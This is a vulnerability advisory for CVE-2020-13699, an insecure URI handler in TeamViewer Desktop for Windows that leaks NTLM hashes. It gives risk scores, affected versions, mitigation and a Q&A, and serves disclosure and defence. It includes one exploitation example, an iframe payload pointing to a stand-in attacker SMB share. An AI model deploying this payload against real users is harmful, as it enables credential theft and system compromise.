#VU42044 Unquoted Search Path or Element in TeamViewer - CVE-2020-13699

Vulnerability identifier: #VU42044

Vulnerability risk: High

CVSSv4.0: 8.3 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:A/U:Amber]

CVE-ID: CVE-2020-13699

CWE-ID: CWE-428

Exploitation vector: Network

Exploit availability: Yes

Vulnerable software:
TeamViewer
Client/Desktop applications / Other client software

Vendor: TeamViewer

Description

The vulnerability allows a remote attacker to gain access to sensitive information.

The vulnerability exists due to TeamViewer Desktop for Windows processes URI handlers in an insecure manner. A remote attacker can create a specially crafted link, trick the victim into clicking it and force the application to send an NTLM authentication request to a remote system.

Successful exploitation of the vulnerability may allow an attacker to obtain NTLM hash of the current Windows user, which may result in system compromise.

Exploitation example:

<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>

Mitigation
Install updates from vendor's website.

Vulnerable software versions

TeamViewer: 8.0.226330 - 15.8.1

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External links
https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448
https://jeffs.sh/CVEs/CVE-2020-13699.txt

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Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, a fully functional exploit for this vulnerability is available.